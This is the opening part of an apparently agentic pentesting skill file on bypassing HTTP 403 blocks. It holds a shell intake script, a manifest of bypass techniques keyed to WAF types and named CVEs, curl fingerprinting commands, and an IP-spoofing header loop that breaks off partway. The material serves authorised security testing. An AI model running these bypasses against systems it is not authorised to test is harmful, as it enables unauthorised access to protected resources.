403-bypass

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• SKILL.md

SKILL.md (first lines)

# 403 Bypass

## Overview

A 403 doesn't always mean truly inaccessible. Misconfigured reverse proxies, CDNs, WAFs, and backend servers enforce access controls at different layers - creating parser-level gaps. This skill covers every known bypass class, from basic header tricks to conference-grade research techniques (DEF CON 2024, Black Hat 2024/2025, Orange Tsai's parser logic work, PortSwigger cache research).

**Goal:** Confirm whether a 403 is a hard block or a bypass-able misconfiguration, then document evidence for reporting.

---

## Phase 0: Smart Intake

```bash
source ~/.claude/skills/_shared/phase0.sh
source ~/.claude/skills/_shared/signals.sh

p0_init_vars "$1"
p0_state_gate "HARVEST" || exit 0
p0_read_relay recon
p0_read_memory
p0_read_hypotheses

TECH_STACK=$KNOWN_TECH  # alias for downstream references

echo "=== PHASE 0 403-BYPASS INTAKE: $TARGET ==="
echo "State: $STATE | WAF: $WAF"
echo "Tech stack: $TECH_STACK"
echo "Target endpoints for bypass: $(echo "$INTERESTING_ENDPOINTS" | wc -l)"
echo "Top hypothesis: $TOP_HYPO_LABEL [$TOP_HYPO_PROB%]"
echo "ATW flagged (avoid): ${ATW_FLAGGED:-none}"
```

### Execution Manifest

Build targeted manifest: one item per bypass technique class per target endpoint. Priority is determined by WAF type detected.

```bash
# WAF-to-priority mapping:
# Cloudflare  -> c02 (header), c05 (double-encode), c12 (automated), c17b (origin IP direct hit)
# Akamai      -> c10 (smuggling OPTIONS+line-folding CVE-2025-32094), c11 (cache deception), c02
# AWS WAF     -> c17 (ALB direct), c02 (header), c04 (path manipulation)
# Nginx+Apache-> c07 (path confusion CVE-2025-0108), c08 (off-by-slash), c15 (mod_proxy CVE-2024-38473)
# IIS         -> c18 (tilde enum + ADS), c22b (Apache ? bypass if applicable)
# unknown     -> c02, c04, c09, c12 (automated sweep)

MANIFEST=$(cat << 'MANIFEST_EOF'
{
  "phase": "403-bypass",
  "generated_at": "YYYY-MM-DD HH:MM",
  "items": [
    {"id":"b01","tool":"baseline","target":"<403-endpoint>","reason":"fingerprint WAF/CDN/server before trying anything","priority":"MUST","status":"pending","skip_reason":null},
    {"id":"b02","tool":"header-bypass","target":"<403-endpoint>","reason":"X-Forwarded-For/X-Original-URL IP spoofing","priority":"MUST","status":"pending","skip_reason":null},
    {"id":"b03","tool":"path-manipulation","target":"<403-endpoint>","reason":"encoding/case/extension tricks bypass string-match ACL","priority":"MUST","status":"pending","skip_reason":null},
    {"id":"b04","tool":"hop-by-hop-strip","target":"<403-endpoint>","reason":"strip auth headers via Connection: header","priority":"SHOULD","status":"pending","skip_reason":null},
    {"id":"b05","tool":"double-url-encoding","target":"<403-endpoint>","reason":"WAF decodes once, backend decodes twice (DEF CON 2024)","priority":"SHOULD","status":"pending","skip_reason":null},
    {"id":"b06","tool":"method-fuzzing","target":"<403-endpoint>","reason":"ACL may only block GET, not PUT/POST/TRACE","priority":"SHOULD","status":"pending","skip_reason":null},
    {"id":"b07","tool":"nomore403","target":"<403-endpoint>","reason":"330+ automated bypass techniques","priority":"MUST","status":"pending","skip_reason":null},
    {"id":"b08","tool":"waf-specific-bypass","target":"<403-endpoint>","reason":"targeted technique for detected WAF type","priority":"MUST","status":"pending","skip_reason":"skip if WAF=unknown"},
    {"id":"b09","tool":"h2c-smuggling","target":"<403-endpoint>","reason":"h2c upgrade causes proxy to stop inspecting requests","priority":"IF_TIME","status":"pending","skip_reason":null},
    {"id":"b10","tool":"prototype-pollution","target":"<403-endpoint>","reason":"Node.js/Express auth bypass via __proto__","priority":"IF_TIME","status":"pending","skip_reason":"skip if no Node.js in tech stack"}
  ]
}
MANIFEST_EOF
)

jq --argjson m "$MANIFEST" '.scalpel.active_manifest = $m' $SESSION > /tmp/s.json && mv /tmp/s.json $SESSION
```

**Manifest adjustment rules (apply before starting):**
- WAF=Cloudflare AND Zafran BreakingWAF worth testing: add b11 for origin IP direct bypass
- WAF=Akamai: promote b09 to MUST (CVE-2025-32094 Akamai-specific)
- WAF=Nginx+Apache in chain: promote path confusion (Step 7) to b04 MUST
- IIS detected: add b12 for tilde+ADS bypass as MUST
- No Node.js in tech stack: mark b10 as skipped
- If `STATE=DEEP`: keep only b01, b02, b07, b08 as MUST; mark others IF_TIME

---

## Step 1: Baseline the 403

Fingerprint what's enforcing the block before trying anything:

```bash
# Baseline - note response size, headers, timing
curl -ski "https://target.com/restricted" -o /dev/null -w "HTTP: %{http_code} | Size: %{size_download} | Time: %{time_total}s\n"

# Fingerprint WAF/CDN/proxy from response headers
curl -sI "https://target.com/restricted" | grep -i "server\|x-powered\|cf-ray\|x-cache\|via\|x-amz\|akamai\|x-varnish\|x-kong\|x-envoy"

# Check if Nginx/Apache in chain - affects which path confusion attacks work
curl -sI "https://target.com/" | grep -i "server"
```

Record: response code, body size, WAF/CDN headers, backend server type. This guides which bypass class to prioritize.

---

## Step 2: Header-Based Bypasses

Reverse proxies trust certain headers to indicate internal/privileged origin. The backend often applies different ACL rules for "internal" traffic.

```bash
TARGET="https://target.com/restricted"

# IP spoofing - trick backend into thinking request is from localhost/internal
for HEADER in \
  "X-Forwarded-For: 127.0.0.1" \
  "X-Forwarded-For: 127.0.0.1, 127.0.0.1" \
  "X-Real-IP: 127.0.0.1" \
  "X-Originating-IP: 127.0.0.1" \
  "X-Remote-IP: 127.0.0.1" \
  "X-Remote-Addr: 127.0.0.1" \
  "X-Custom-IP-Authorization: 127.0.0.1" \
  "X-Forwarded-For: 10.0.0.1" \
  "X-Forwarded-For: 192.168.1.1" \
  "X-ProxyUser-Ip: 127.0.0.1" \
  "True-Client-IP: 127.0.0.1" \
  "Client-IP: 127.0.0.1" \
  "X-Host: localhost" \

From kalpmodi/akira, MIT.

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